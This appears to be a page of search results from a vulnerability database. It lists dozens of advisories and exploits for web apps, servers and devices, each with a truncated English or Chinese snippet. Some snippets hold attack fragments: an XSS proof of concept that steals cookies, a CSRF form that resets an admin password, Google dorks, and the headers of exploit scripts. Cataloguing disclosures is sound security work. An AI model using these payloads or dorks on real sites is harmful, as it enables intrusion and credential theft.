56796 matches found
Bitrix Site Manager Multiple Remote File Include Vulnerability
No description provided by source. + Author : Don Tukulesto [email protected] + Date : November 13, 2009 + Homepage : http://www.indonesiancoder.com + Vendor : http://www.bitrixsoft.com/ + Method : Remote File Inclusion + Location : INDONESIA Notes : I know this is an old bugs, but i just...
ToutVirtual VirtualIQ Pro 3.2 Multiple Vulnerabilities
No description provided by source. &redirectSecure Network - Security Research Advisory Vuln name: ToutVirtual VirtualIQ Pro Multiple Vulnerabilities Systems affected: ToutVirtual VirtualIQ Professional 3.2 build 7882 Systems not affected: -- Severity: High Local/Remote: Remote Vendor URL:...
BPMusic 1.0 blind SQL Injection
No description provided by source. x========================================================================================================================================x | AntiSecuritydotorg |...
Oracle Secure Backup Server 10.3.0.1.0 Auth Bypass/RCI Exploit
No description provided by source. !/bin/bash Oracle Secure Backup Administration Server authentication bypass, plus command injection vulnerability 1-day exploit for CVE-2009-1977 and CVE-2009-1978 PoC script successfully tested on: Oracle Secure Backup Server 10.3.0.1.0win32release MS Windows...
Joomla Component com_lucygames (gameid) SQL Injection Vuln
No description provided by source. 000000000000000000000 00000000000000000000000000000000000 0000000000000000 00000000000000000000000000000000 + Joomla Component Comlucygames gameid Remote SQL Injection Vulnerabilities + Software : Joomla Component Comlucygales +...
Linux Kernel .getname函数多个信息泄露漏洞
BUGTRAQ ID: 36176 CVECAN ID: CVE-2009-3002 Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux Kernel的getname函数没有正确地初始化某些数据结构，本地用户可以通过对AFAPPLETALK、AFIRDA、AFECONET、 AFNETROM、AFROSE、原始CAN等套接字执行getsockname调用读取部分内核内存的内容。 Linux kernel 2.6.x 厂商补丁： Linux ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...
Microsoft .NET Framework请求调度远程拒绝服务漏洞（MS09-036）
BUGTRAQ ID: 35985 CVECAN ID: CVE-2009-1536 Microsoft .NET Framework是一个流行的软件开发工具包。 ASP.NET管理请求调度的方式存在拒绝服务漏洞。攻击者可以创建特制的匿名HTTP请求导致受影响的Web服务器变得没有响应，直到重启相关的应用池。 仅可通过IIS 7.0暴露Microsoft .NET Framework中的漏洞代码。对于没有运行IIS 7.0的系统，无法利用这个漏洞。 Microsoft .NET Framework 3.5 SP1 Microsoft .NET Framework 3.5 Microsof...
RadNICS Gold v5 Multiple Remote Vulnerabilities
No description provided by source. -----------------------------I AM MUSLIM !!------------------------------ ============================================================================== / \ | | | | / \ | | | | / \ | | | | / \ | || | / \ | | | | / \ | | IN THE NAME OF // \ || || // \ || ||...
WordPress wp-admin/admin.php模块错误权限检查漏洞
BUGTRAQ ID: 35584 CVECAN ID: CVE-2009-2334 WordPress是一款免费的论坛Blog系统。 WordPress对使用page参数的插件配置PHP模块缺少权限检查，如果非特权用户在请求中用admin.php替换了options- general.php或plugins.php，就可以非授权查看插件配置页面的内容，或修改某些插件选项并注入JavaScript代码。 WordPress WordPress 2.8 WordPress WordPress MU 2.7.1 WordPress ---------...
Web Directory PRO (admins.php) Change Admin Password Exploit
No description provided by source. title change password Web Directory PRO/title body bgcolor="FF0000" form method=post action=http://demo-web-directory-pro.phpwebdirectoryscript.com/admin/admins.php?sact=modify&pr=2 brbr table trtdcenterbMODIFY/td/tr trtdLogin/tdtdinput type=text name=login...
WINDOWS 7 RC 7100 GDI驱动Win32k.sys内核D.O.S漏洞
Win32k.sys是WINDOWS的GDI驱动程序，包含大量复杂的图形界面处理，由于其中大量代码是从WIN3.1中修改过来，因此成了WINDOWS漏洞多发之地。 这个漏洞主要是因为Windows 7 在其NtUserGetDc/NtUserGetDcEx函数中（也许不仅仅是这两个函数）不正确地使用了共享临界锁，导致了任何权限下的GDI程序可以引发内核BSOD，从而进行DOS攻击. =============== 在WINDOWS VISTA中，在这两个函数进入前，会调用UserEnterUserCirtSec，进入临界区，同时会将gptiCurrent设置为当前线程的WIN32THRE...
Nokia S60系列手机畸形短信/彩信远程拒绝服务漏洞
BUGTRAQ ID: 33074 Nokia S60系列是运行symbian平台的智能手机。 3GPP TS 23.040标准中规定了通过短信发送邮件的方法。邮件短信的最基本形式以MT-SMS或MO-SMS开始，之后为空格，最后为消息正文。短信消息的TP协议标识符必须设置为Internet Electronic Mail（值为50/0x32）。 但上述标准没有规定手机接收到短信后如何显示。在S60 2.6之前版本，Series60设备按原样显示消息；从S60...
WebStudio CMS (index.php pageid) Blind SQL Injection Vulnerability
No description provided by source. Application: WebStudio CMS Vendor Name: BDigital Media Ltd Vendors Url: http://www.bdigital.biz Bug Type: WebStudio CMS pageid Blind SQL Injection Vulnerability Exploitation: Remote Severity: Critical Solution Status: Unpatched Introduction: WebStudio CMS is a...
Lighttpd URI重写/重定向信息泄露漏洞
BUGTRAQ ID: 31599 CVE ID：CVE-2008-4359 CNCVE ID：CNCVE-20084359 Lighttpd是一款开放源代码的WEB服务器程序。 Lighttpd存在设计问题，远程攻击者可以利用漏洞获得敏感信息。 lighttpd 1.4.19和1.5.0之前的其他版本，在匹配重定向和重写模式之前没有对URL进行解码，可导致攻击者使用编码URL绕过重写规则。如果这些规则用于隐藏部分URL可导致安全问题。 lighttpd lighttpd 1.4.19 lighttpd lighttpd 1.4.18 lighttpd lighttpd 1.4.17...
FAQ Management Script (catid) Remote SQL Injection Vulnerability
No description provided by source. || | | FAQ Management catid Remote SQL Injection Vulnerability | | |-------------------- Hussin X -------------------| | | Author: Hussin X | | Home : WwW.IQ-ty.CoM | | email: darkangelg85atYahooDoTcom | | | | | | | | script :...
Arcadem Pro (articlecat) Remote SQL Injection Vulnerability
No description provided by source. || | | Arcadem Pro articlecat Remote SQL Injection Vulnerability | | |---------------------Hussin X----------------------| | | Author: Hussin X | | Home : WwW.IQ-ty.CoM | WwW.TrYaG.CC | | email: darkangelg85atYahooDoTcom | | | | | | | | script :...
Pluck 4.5.3 (update.php) Remote File Corruption Exploit
No description provided by source. ?php / Pluck 4.5.3 update.php remote file corruption exploit by Nine:Situations:Group::bookoo our site: http://retrogod.altervista.org/ Google dorks: "powered by pluck" +admin inurl:file=kop1.php inurl:file=kop2.php ... Exploit condition : registerglobals = on...
PhpWebGallery 1.3.4 (cat) Blind SQL Injection Vulnerability
No description provided by source. ---------------------------------------------------------------- Script : PhpWebGallery 1.3.4 Type : Vulnerabilities blind sql injection Author : Stack Google Dork : inurl:"picture.php?cat=" "Powered by PhpWebGallery 1.3.4"...
TriO <= 2.1 (browse.php id) Remote SQL Injection Vulnerability
No description provided by source. :::::::-. ... ::::::. :::. ;;, ';, ;; ;;;;;;;, ;;; ' . ' $$, $$$$ $$$ $$$ "Y$c$$ 888,o8P'88 .d888 888 Y88 MMMMP" "YmmMMMM"" MMM YM Discovered by dun \ dunatstrcpy.pl TriO = 2.1 Remote SQL Injection Vulnerability Script: "TriO, iO's new web-based module, enables...
Joomla Component joovideo 1.2.2 (id) SQL Injection Vulnerability
No description provided by source. Mambo Component comjoovideo SQL InjectionPowered by joovideo V1.0 AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 MA陌L : [email protected] TODAY MY B陌RTDAY SOO I WROTE 5 BUGS ALL FOR HACKERS 5 EXPLO陌TS HAVE 100.000 MAMBO-JOOMLA WEBPAGES ...
PKs Movie Database 3.0.3 XSS / SQL Injection Vulnerabilities
No description provided by source. ------------------------------------------------------------- ----- H-T Team HouSSaMix + ToXiC350 from MoroCCo -------- ------------------------------------------------------------- = Author : HouSSaMix From H-T Team = Script : PKs Movie Database version 3.0.3 =...
Web Wiz Rich Text Editor 4.0 Multiple Remote Vulnerabilities
No description provided by source. WwW.BugReport.ir AmnPardaz Security Research Team Title: Web Wiz Rich Text EditorTM Vendor: http://www.webwizguide.com/ Bug: Directory traversal + HTM/HTML file creation on the server Vulnerable Version: 4.0 Exploit: Available Fix Available: No! Fast Solution is...
WordPress <= 2.0.2 (cache) Remote Shell Injection Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "--------------------------------------------------------------------\r\n"; echo "| WordPress = 2.0.2 'cache' shell injection exploit |\r\n"; echo "| by rgod [email protected] |\r\n"; echo "| site:...
DeluxeBB CP.PHP安全绕过漏洞
DeluxeBB是一款基于PHP的WEB应用程序。 DeluxeBB不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞更改管理员信息。 问题是由于'cp.php'脚本对用户提交的WEB参数缺少过滤，当更新自身的档案时，DeluxeBB执行如下有问题代码： $db-unbufferedquery"UPDATE ".$prefix."users SET email='$xemail', msn='$xmsn', icq='$xicq', ... WHERE username='$membercookie'"; 因此可更改cookie "membercookie"，如更改远程用户的EMAI...
CA ARCserve Backup多个远程溢出及目录遍历漏洞
BUGTRAQ ID: 24348 CVECAN ID: CVE-2007-3216,CVE-2007-5003,CVE-2007-5004,CVE-2007-5005,CVE-2007-5006 ARCServe Backup for Laptops and Desktops L&D是适用于中小业务的ARCServe Backup备份工具版本。 ARCserve L&D在处理RPC接口上的畸形请求数据时存在漏洞，远程攻击者可能利用此漏洞控制服务器或执行目录遍历。 ARCserve L&D使用TCP/1900端口做为RPC接口管理ARCserve L&D服务器，正常的通讯示例如下：...
Microsoft Visual Basic 6.0 VBP_Open OLE Local CodeExec Exploit
No description provided by source. !/usr/bin/perl ' ++ Microsoft Visual Basic 6.0 Code Execution 0-Day ++ ' ++++++++++++++++++++++++++++++++++++++++++++++++++++++ '++ Author: Koshi + '++ Email: heykoshi at gmail dot com +...
WordPress MultiUser crossite scripting PoC
No description provided by source. body onLoad="document.hack.submit" form name="hack" action="http://site/wp-newblog.php" method="post" input type="hidden" name="stage" value="1" input type="hidden" name="weblogid" value='"scriptalertdocument.cookie/script' /form /body...
Apache Mod_Mem_Cache远程信息泄露漏洞
Apache是一款开放源代码的HTTP服务程序。 Apache包含的modmemcache模块存在信息泄露问题，远程攻击者可以利用漏洞获得对敏感数据的访问。 在使用modmemcache缓存部分小文件时，在部分条件下，会应答部分错误的HTTP头部数据，包括多个头字段，错误的ETag值，攻击者可以利用这些信息对系统进行进一步攻击。 Apache Software Foundation Apache 2.2.4 可参考如下安全公告： http://people.apache.org/covener/2.2.x-modmemcache-poolmgmt.diff...
Wordpress plugin myflash <= 1.00 (wppath) RFI Vulnerability
No description provided by source. --------------------------------- Oyle Kahpe Ki Dünya ! -------------------------------------- Title : Wordpress plugin myflash = V1.00 wppath RFI Vulnerability -------------------------------------------------------------------------------- Author: CrackersChil...
Microsoft Agent URI处理远程代码执行漏洞
Microsoft Windows是一款商业性质的操作系统。 Microsoft Agentagentsvr.exe处理畸形URL存在问题，远程攻击者可以利用漏洞以浏览器进程权限执行任意指令 当agentsvr.exe处理特殊构建的URLs传递给部分方法作为参数时存在设计错误，可导致以应用程序权限执行任意代码。目前没有详细漏洞细节提供。 Microsoft Windows XP Tablet PC Edition SP2 Microsoft Windows XP Professional x64 Edition SP2 Microsoft Windows XP Professional...
Mani Stats Reader <= 1.2 (ipath) Remote File Include Vulnerability
No description provided by source. Mani Admin Plugin Stats Reader V1.2 rfi : dork:"2006 by www.mani-stats-reader.de.vu" "allinurl:.php?ipath= inurl:"css"" vuln:index.php?ipath=evilshit greetz:RST, LinuxPakistan phpfreaks [email protected] milw0rm.com 2007-03-02...
Sina UC 2006 Activex SendChatRoomOpt Exploit
新浪UC是中国非常流行的IM工具之一 http://www.51uc.com 漏洞的起因是Sina UC的多个ActiveX控件的参数缺乏必要的验证，攻击者构造恶意网页，可以远程完全控制安装了Sina UC 的用户的计算机， 多个控件存在栈溢出问题，包括但不限于： 1. clsid:77AE4780-75E0-4CB0-A162-D1BBE3D50384 C:\Program Files\sina\UC\ActiveX\BROWSER2UC.dll Sub SendChatRoomOpt ByVal astrVerion As String , ByVal astrUserID As...
@lex Guestbook <= 4.0.2 Remote Command Execution Exploit
No description provided by source. !/usr/bin/php ?php // | | header @lex Guestbook = 4.0.2 Remote Command Execution Exploit | header ======================================================== | status Retrieving the administrator password | sploit AdminUsername::root | sploit AdminPassword::toor |...
Apple QuickTime RTSP URI远程缓冲区溢出漏洞
Apple QuickTime是一款流行的媒体播放程序。 Apple QuickTime处理RTSP URI存在缓冲区溢出，远程攻击者可以利用漏洞以应用程序进程权限执行任意指令。 问题存在于rtsp:// URL处理器上，通过提供特殊的字符串rtsp://随机+ 冒号 + 299 字节填充和负载，使用HTML, Javascript或者QTL文件诱使用户解析，可导致基于堆栈的缓冲区溢出，可导致任意指令执行。 Apple QuickTime Player 7.1.3 目前没有解决方案提供： http://www.apple.com/quicktime/ !/usr/bin/ruby...
Cisco VPN 3000 Concentrator FTP任意文件访问漏洞
Cisco VPN 3000 Concentrator是一款VPN网络通信解决方案。 Cisco VPN 3000 Concentrator通过FTP进行文件管理时存在问题，远程攻击者可以利用漏洞以FTP服务进程上下文访问任意文件。 Cisco VPN 3000系列可配置使用FTP协议管理存储在集中器上的文件，如配置文件和证书，文件可以被上传或下载。 当FTP起用为文件管理协议时存在两个漏洞，通过执行如下FTP命令可利用这些漏洞： CWD MKD CDUP RNFR SIZE RMD 要查看更详细的漏洞描述，可参考如下链接注册用户可查看：...
CA BrightStor ARCserve Backup多个远程缓冲区溢出漏洞
CA BrightStor ARCserve Backup可为各种平台的服务器提供备份和恢复保护功能。 CA的多个产品实现上存在多个缓冲区溢出漏洞，远程攻击者可能利用这些漏洞在服务器上执行任意指令。 1. Backup Agent Service DBASVR.exe在6071端口上没能正确处理畸形请求，存在缓冲区溢出，远程非授权用户可以利用此漏洞执行任意指令。 2. Discovery Service在处理来自CheyenneDS Mailslot的超长消息时存在栈溢出漏洞，远程攻击者可以利用此漏洞控制服务器。 3. Discovery...
Joomla <= 1.0.9 (Weblinks) Remote Blind SQL Injection Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "Joomla = 1.0.9 'Weblinks' blind SQL injection / admin credentials\r\n"; echo "disclosure exploit benchmark vesion\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n"; if $argc5...
Visual Tools DVR VX16 未授权命令注入
...
泛微OA weaver.common.Ctrl 任意文件上传漏洞
...
Insteon Hub PubNub Firmware Upgrade Confusion Permanent Denial Of Service Vulnerability(CVE-2018-3834)
Summary An exploitable permanent denial of service vulnerability exists in Insteon Hub running firmware version 1013. The firmware upgrade functionality, triggered via PubNub, retrieves signed firmware binaries using plain HTTP requests. The device doesn't check the kind of firmware image that is...
Canon LBP6650/LBP3370/LBP3460/LBP7750C - Authenticaton Bypass(CVE-2018-11692)
Description : An issue was discovered on Canon LBP6650, LBP3370, LBP3460, LBP7750C printers. It is possible for a remote unauthenticated attacker to bypass the Administrator Mode authentication without a password at any URL of the device that requires authentication. PoC : Start searching for Can...
Adobe Acrobat Reader DC Net.Discovery.queryServices Remote Code Execution Vulnerability(CVE-2018-4996)
Summary A specific Javascript script embedded in a PDF file can lead to a pointer to previously freed object to be reused when opening a PDF document in Adobe Acrobat Reader DC 2018.009.20044. With careful memory manipulation, this can potentially lead to sensitive memory disclosure or arbitrary...
Aerospike Database Server Index Name Code Execution Vulnerability(CVE-2016-9052)
Summary An exploitable stack-based buffer overflow vulnerability exists in the querying functionality of Aerospike Database Server 3.10.0.3. A specially crafted packet can cause a stack-based buffer overflow in the function assindexsimatchbyiname resulting in remote code execution. An attacker ca...
Lexmark LibISYSpdf Image Rendering DCTStream::getBlock() Code Execution Vulnerability(CVE-2017-2822)
Summary An exploitable code execution vulnerability exists in the image rendering functionality of Lexmark Perceptive Document Filters 11.3.0.2400. A specifically crafted PDF can cause a function call on a corrupted DCTStream to occur, resulting in user controlled data being written to the stack....
Google Nexus 9 Cypress SAR Firmware Injection via I2C(CVE-2017-0563)
Product Google Nexus 9 Vulnerable Version Nexus 9 Android Builds before N4F27B - May 2017, i.e. before bootloader 3.50.0.0143. Mitigation Install N4F27B or later bootloader version 3.50.0.0143. Technical Details The Nexus 9 device contains a sensor SoC manufactured by Cypress. The sensor is manag...
Heap Overflow Vulnerability in Citrix NetScaler Gateway (CVE-2017-7219)
After presenting my findings on the Swisscom router at the CybSecConference last year, I started looking for a new product to analyze. I quickly found that it’s possible to download virtual “demo” appliances of Citrix products, so I went on to download a Netscaler VPX, which at the time was at...
Schneider Electric Magelis HMI Advanced Panel denial of service vulnerability (PanelShock)
IMPROPER IMPLEMENTATION OF HTTP GET REQUEST CVE-2016-8367 / SVE-82003201 The timeout value for closing an HTTP client's requests in the Web Gate service is too long and allows a malicious attacker to open multiple connections to the targeted web server and keep them open for as long as possible b...
AVTECH video surveillance equipment authentication bypass and other vulnerabilities
Authentication bypass vulnerability There are two ways to achieve authentication bypass: The first one is. cab way, the cab file format is a video player plug-in, stored in the web root directory, it may need to verify directly be accessed and downloaded, and the device end only through the strst...